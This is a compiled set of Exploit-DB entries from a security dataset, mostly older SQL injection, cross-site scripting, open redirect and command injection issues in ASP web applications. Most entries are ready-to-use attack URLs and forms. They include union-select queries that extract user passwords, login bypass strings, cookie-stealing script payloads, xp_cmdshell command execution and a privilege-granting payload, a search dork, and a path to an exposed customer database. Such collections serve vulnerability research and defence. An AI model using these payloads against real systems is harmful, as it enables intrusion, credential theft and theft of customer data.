deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25543
Description: MetaCart2 - 'SearchAction.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-04-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13393/info

MetaCart2 is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

An attacker may exploit these issues to manipulate SQL queries to the underlying database. This may facilitate the theft of sensitive information, potentially including authentication credentials, and data corruption. 

http://www.example.com/mcart2sqluk/searchAction.asp?chkText='SQL_INJECTION&strText=dcrab&chkPrice=yes&intPrice=all&chkCat=yes&strCat=1
http://www.example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText='SQL_INJECTION&chkPrice=yes&intPrice=all&chkCat=yes&strCat=1
http://www.example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice='SQL_INJECTION&intPrice=all&chkCat=yes&strCat=1
http://www.example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice=yes&intPrice='SQL_INJECTION&chkCat=yes&strCat=1
http://www.example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice=yes&intPrice=all&chkCat='SQL_INJECTION&strCat=1
http://www.example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice=yes&intPrice=all&chkCat=yes&strCat='SQL_INJECTION
Exploit-DB #25540
Description: MetaCart2 - 'StrSubCatalogID' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13383/info

A remote SQL injection vulnerability affects MetaCart2. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries.

An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption.

http://www.example.com/mcart2pfp/productsByCategory.asp?strSubCatalogID='SQL_INJECTION&amp%3bcurCatalogID=10001&amp%3bstrSubCatalog_NAME=Laptops
http://www.example.com/mcart2pal/productsByCategory.asp?strSubCatalogID=%27SQL_INJECTION&amp%3bcurCatalogID=10001&amp%3bstrSubCatalog_NAME=Laptops
http://www.example.com/mcart2sqluk/productsByCategory.asp?strSubCatalogID='SQL_INJECTION
Exploit-DB #25542
Description: MetaCart2 - 'strSubCatalog_NAME' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13385/info

A remote SQL injection vulnerability affects MetaCart2. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries.

An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption. 

http://www.example.com/mcart2pfp/productsByCategory.asp?strSubCatalogID=1&amp%3bcurCatalogID=10001&amp%3bstrSubCatalog_NAME='SQL_INJECTION
http://www.example.com/mcart2pal/productsByCategory.asp?strSubCatalogID=1&amp%3bcurCatalogID=10001&amp%3bstrSubCatalog_NAME='SQL_INJECTION
Exploit-DB #5608
Description: Meto Forum 1.1 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2008-05-13
Author: U238

Exploit:
-\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\
                                                        
Meto Forum v1.1 Multiple Remote SQL Ä°injectin Vulnerable  
                                                              
Script : http://www.aspindir.com/goster/5444               
                                                              
Risk   : Forum in All users saved password is to take.        
                                                              
Coded : Asp , SQL Language = 'Acces'                   
                                                             
-\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\- -\-/


EÄ°P [1] Exploit:


http://localhost:2222/lab/MetoForumV1/forum/kategori.asp?kid=20+union+select+0,kullanici,2,3,4,parola,6+from+uyeler&y=SnnX%20Mesaj%20Panosu%20Test


Log in Admin Panel > cookie Saved , 
This Script file have SQL Ä°njectin atack. 


http://localhost:2222/lab/MetoForumV1/forum/admin_kategori.asp?kid=1+union+select+0,1,parola,3,4,kullanici,6+from+uyeler+where+id=1  2,3,4,5,6


http://localhost:2222/lab/MetoForumV1/forum/admin/duzenle.asp?id=1+union+select+0,kullanici,parola,3,4,5,1+from+uyeler



http://localhost:2222/lab/MetoForumV1/forum/admin_oku.asp?id=1%20union%20select%200,1,2,3,4,5,1,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,7,8,9,1,1,1,1%20from%20uyeler



[ESP][2]

Other have sql injection atack file :

uye.asp 
oku.asp

-\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\--\- -\-



Discovered By U238 |Ugur Can Engin |

Web - Designer Developer Solutions

setuid.noexec0x1[at[hotmail[d0t]com

pgp key --> http://ugurcan.by.ru/U238.asc

Friends --> < Teyfik Cevik - ka0x - The_BekiR - Erhan Bulut - Caborz - Nettoxic - fahn - ZeberuS >

DunyanÄ±n En buyuk Ve En Zeki Lideri Olan  Mustafa Kemal Ataturk'u SelamlarÄ±m. 

# milw0rm.com [2008-05-13]
Exploit-DB #30423
Description: Metyus Forum Portal 1.0 - 'Philboard_Forum.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-07-27
Author: Cr@zy_King

Exploit:
source: https://www.securityfocus.com/bid/25096/info

Metyus Forum Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Metyus Forum Portal 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/philboard_forum.asp?forumid=-99+union+all+select+0,1,2%20,3,4,5,6,7,8,9,password,username,12,13,14,15,16,17,18,19,20+%20from+users
Exploit-DB #29220
Description: Metyus Okul Yonetim 1.0 - 'Sistemi Uye_giris_islem.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-04
Author: ShaFuck31

Exploit:
source: https://www.securityfocus.com/bid/21418/info

Metyus Okul Yonetim Sistemi is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

<title>Remote Admin Attack - LiderHack.Org // Hacking & Security PortaL</title> <center>ShaFuck31 - LiderHack.Org</center> <FORM NAME=giris ACTION="http://victim.com/[path to script]/uye_giris_islem.asp" METHOD=post> <table align=center> <td>Kullanici Adi:</td><td><INPUT NAME=kullanici_ismi class="input" value="'or'" SIZE=15></td> </tr><tr> <td>Sifre:</td><td><INPUT NAME=sifre TYPE=text class="input" value="'or'" SIZE=15></td> </tr><tr> <td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td> </tr></table></form>
Exploit-DB #29031
Description: MGinternet Property Site Manager - 'admin_login.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-14
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21073/info
   
MGinternet Property Site Manager is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
   
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
   
login using user: 'or''=' passwd: 'or''='
Exploit-DB #29029
Description: MGinternet Property Site Manager - 'detail.asp?p' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-14
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21073/info
 
MGinternet Property Site Manager is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
 
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/asp/detail.asp?l=&p='[sql]
Exploit-DB #29030
Description: MGinternet Property Site Manager - 'listings.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-14
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21073/info
  
MGinternet Property Site Manager is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
  
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/asp/listings.asp?l='[sql] 
http://www.example.com/asp/listings.asp?s=search&typ='[sql] 
http://www.example.com/asp/listings.asp?s=search&typ=4&loc='[sql]
Exploit-DB #29028
Description: MGinternet Property Site Manager - 'listings.asp?s' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-14
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21073/info

MGinternet Property Site Manager is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.

An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/asp/listings.asp?s=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
Exploit-DB #46799
Description: microASP (Portal+) CMS - 'pagina.phtml?explode_tree' SQL Injection
Type: webapps
Platform: asp
Date: 2019-05-06
Author: felipe andrian

Exploit:
[+] Sql Injection on microASP (Portal+) CMS

[+] Date: 05/05/2019

[+] Risk: High

[+] CWE Number : CWE-89

[+] Author: Felipe Andrian Peixoto

[+] Vendor Homepage: http://www.microasp.it/

[+] Contact: felipe_andrian@hotmail.com

[+] Tested on: Windows 7 and Gnu/Linux

[+] Dork: inurl:"/pagina.phtml?explode_tree" // use your brain ;)

[+] Exploit : 

        http://host/patch/pagina.phtml?explode_tree= [SQL Injection]

[+] PoC : 
 
   https://server/pagina.phtml?explode_tree=-1'/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x[PII_REDACTED]3a,(/*!50000select*/ database()),0x3a[PII_REDACTED]))--+-
   https://server/pagina.phtml?explode_tree=-1%27/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x[PII_REDACTED]3a,(/*!50000select*/%20database()),0x3a[PII_REDACTED]))--+-
   
[+] EOF
Exploit-DB #14919
Description: Micronetsoft Rental Property Management Website - SQL Injection
Type: webapps
Platform: asp
Date: 2010-09-06
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Micronetsoft Rental Property Management Website SQLi
Vulnerability
Vendor url:http://www.micronetsoft.com
Version:1
Price:179$
Published: 2010-09-06
GThanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
M4n0j,NoCare, The_Exploited, SeeMe, gunslinger, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com) , 0xr00t.com , members
and my friends :) etc....
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

The Real Estate & Rental Property Website includes a web application that
provide realtors with the ability to add both For Sale & For Rent
properties to the web site using powerful forms that are easy to use and
provides visitors with the ability to browse or search those properties. The
web application's administration tool allows for easy updates of properties
with image upload, category management, listing management, mailing list
management, and much more.
Note: With this website you can display both For Sale and For Rent
properties, or if you do not offer rental properties at this time, you can
disable the rental properties from displaying on the website. The website
demo 09900 displays both For Sale and For Rent properties and the website
demo 09911 displays only For Sale properties.

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://server/detail.asp?ad_ID=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #15629
Description: MicroNetSoft RV Dealer Website - 'search.asp' / showAlllistings.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2010-11-29
Author: underground-stockholm.com

Exploit:
TITLE: MicroNetSoft RV Dealer Website Two SQL Injection Vulnerabilities
PRODUCT: MicroNetSoft RV Dealer Website
PRODUCT URL: http://www.micronetsoft.com/store/scripts/prodView.asp?idproduct=77
RESEARCHERS: underground-stockholm.com
RESEARCHERS URL: http://underground-stockholm.com/

SQL INJECTION BUGS:

http://[host]/[path]/search.asp?selStock=x%27%20union%20selecta
http://[host]/[path]/showAlllistings.asp?orderBy=union
Exploit-DB #14914
Description: Micronetsoft RV Dealer Website - SQL Injection
Type: webapps
Platform: asp
Date: 2010-09-06
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Micronetsoft RV Dealer Website SQLi Vulnerability
Vendor url:http://www.micronetsoft.com
Version:1
Price:199$
Published: 2010-09-06
GThanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
M4n0j,NoCare, The_Exploited, SeeMe, gunslinger, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com) , 0xr00t.com , members
and my friends :) etc....
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

Features:

    * Provides the ability to add listings to the web site.
    * Ability to add multiple users
    * Post-unlimited listings
    * For Sale listings with link to details page
    * For Rent listings with link to details page
    * Upload Images for listing
    * Upload a Brochure about the listing
    * Listings display the company logo
    * Search the database Vehicle Type, Make, Model, Year, Price Range, and
Location.
    * Featured Listings
    * Prospective Buyer signup - will receive email on NEW Listings!
    * Submit work order (maintenance issue) with picture, for listings
    * Full database driven web application - Access database

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://www.site.com/detail.asp?ad_ID=1&vehicletypeID=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #25110
Description: Microsoft ASP.NET 1.0/1.1 - Unicode Character Conversion Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-02-16
Author: Andrey Rusyaev

Exploit:
source: https://www.securityfocus.com/bid/12574/info

It is reported that ASP.NET is prone to various cross-site scripting attacks. These issues when ASP.NET converts Unicode characters ranging from U+ff00-U+ff60 to ASCII.

Apparently, the application fails to properly validate Unicode characters allowing an attacker to craft a malicious link containing arbitrary HTML or script code to be executed in a user's browser.

This can facilitate theft of cookie-based credentials and other attacks.

http://www.example.com/attack1.aspx?test=%uff1cscript%uff1ealert('vulnerability')%uff1c/script%uff1e
Exploit-DB #24666
Description: Microsoft ASP.NET 1.x - URI Canonicalization Unauthorized Web Access
Type: webapps
Platform: asp
Date: 2004-10-06
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/11342/info

Microsoft ASP.NET is reported prone to a remote information-disclosure vulnerability because the application fails to properly secure documents when handling malformed URI requests. 

An attacker may leverage this issue to bypass authentication required to access files in secured directories.

Mozilla Web Browser based proof of concept: 
http://www.example.com/secureDirectory\somefile.aspx 

Microsoft Internet Explorer based proof of concept: 
http://www.example.com/secureDirectory%5Csomefile.aspx
Exploit-DB #22555
Description: Microsoft BizTalk Server 2000/2002 DTA - 'RawCustomSearchField.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2003-04-30
Author: Cesar Cerrudo

Exploit:
source: https://www.securityfocus.com/bid/7470/info
 
A vulnerability has been reported for BizTalk Server which may make it possible for remote users to modify database query logic. The vulnerability exists in some of the pages used by the DTA interface.
 
This vulnerability may be the result of inadequate sanitization of user-supplied values for some parameters. A remote attacker may exploit this vulnerability by creating a malicious URL that includes specially crafted SQL queries to execute commands or compromise the database. 

http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.xp_cmdshell 'any OS command'--

http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.sp_grantlogin 'domain\attacker'--
Exploit-DB #22554
Description: Microsoft BizTalk Server 2000/2002 DTA - 'rawdocdata.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2003-04-30
Author: Cesar Cerrudo

Exploit:
source: https://www.securityfocus.com/bid/7470/info

A vulnerability has been reported for BizTalk Server which may make it possible for remote users to modify database query logic. The vulnerability exists in some of the pages used by the DTA interface.

This vulnerability may be the result of inadequate sanitization of user-supplied values for some parameters. A remote attacker may exploit this vulnerability by creating a malicious URL that includes specially crafted SQL queries to execute commands or compromise the database. 


http://server/biztalktracking/rawdocdata.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.xp_cmdshell 'any OS command'--

http://server/biztalktracking/rawdocdata.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.sp_grantlogin 'domain\attacker'--
Exploit-DB #21920
Description: Microsoft Content Management Server 2001 - Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2002-10-09
Author: overclocking_a_la_abuela

Exploit:
source: https://www.securityfocus.com/bid/5922/info

Microsoft Content Management Server 2001 is reported to be prone to cross-site scripting attacks.

An attacker could construct a malicious link to a vulnerable host that contains arbitrary HTML and script code. If this link is visited by a web user, the attacker-supplied code will be rendered in their browser, in the security context of the vulnerable site.

http://www.example.com/NR/System/Access/ManualLogin.asp?
REASONTXT=&lt;script&gt;alert(document.cookie);window.open
("http://attacker.site.example.com");&lt;/SCRIPT&gt;
Exploit-DB #35852
Description: Microsoft Lync Server 2010 - 'ReachJoin.aspx' Remote Command Injection
Type: webapps
Platform: asp
Date: 2011-06-13
Author: Mark Lachniet

Exploit:
source: https://www.securityfocus.com/bid/48235/info

Microsoft Lync Server 2010 is prone to a remote command-injection vulnerability because it fails to properly sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary commands in the context of the application.

Microsoft Lync Server 2010 version 4.0.7577.0 is vulnerable; other versions may also be affected. 

https://www.example.com/Reach/Client/WebPages/ReachJoin.aspx?xml=&&reachLocale=en-us%22;var%20xxx=%22http://www.foofus.net/~bede/foofuslogo.jpg%22;open%28xxx%29;alert%28%22error,%20please%20enable%20popups%20from%20this%20server%20and%20reload%20from%20the%20link%20you%20were%20given%22%29//
Exploit-DB #25084
Description: Microsoft Outlook 2003 - Web Access Login Form Remote URI redirection
Type: webapps
Platform: asp
Date: 2005-02-07
Author: Morning Wood

Exploit:
source: https://www.securityfocus.com/bid/12459/info

A remote URI-redirection vulnerability affects Microsoft Outlook Web Access. This issue occurs because the application fails to properly sanitize URI-supplied data.

An attacker may leverage this issue to carry out convincing phishing attacks against unsuspecting users by causing an arbitrary page to be loaded when the Microsoft Outlook Web Access login form is submitted. 

https://owa.example.com/exchweb/bin/auth/owalogon.asp?url=http://www.example.net
https://owa.example.com/exchweb/bin/auth/owalogon.asp?url=http://[PII_REDACTED]/
Exploit-DB #36134
Description: Microsoft SharePoint 2007/2010 - 'Source' Multiple Open Redirections
Type: webapps
Platform: asp
Date: 2011-09-14
Author: Irene Abezgauz

Exploit:
source: https://www.securityfocus.com/bid/49620/info

Microsoft SharePoint is prone to multiple URI open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.

Successful exploits may redirect a user to a potentially malicious site; this may aid in phishing attacks.

The following products are affected;

Microsoft SharePoint 2007
Microsoft SharePoint 2010 

http://www.example.com/Docs/Lists/Announcements/NewForm.aspx?Source=[xss]
Exploit-DB #29174
Description: MidiCart ASP - 'Item_Show.asp?ID2006quant' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-24
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21273/info

MidiCart ASP is prone to an SQL injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/path/item_show.asp?id2006quant=[SQL INJECTION]
Exploit-DB #21702
Description: Midicart ASP - Remote Customer Information Retrieval
Type: webapps
Platform: asp
Date: 2002-08-10
Author: Dimitri Sekhniashvili

Exploit:
source: https://www.securityfocus.com/bid/5438/info

Midicart ASP is a commercially available e-commerce solution distributed by Coxco Support. It is available for the Microsoft Windows operating system.

The default installation of Midicart ASP does not place sufficient access control on the midicart.mdb file. Due to this lack of access control, it is possible for a remote user to gain access to this file. This file may yield sensitive customer information, such as customer names, addresses, and credit card information.

http://www.example.com/shoppingdirectory/midicart.mdb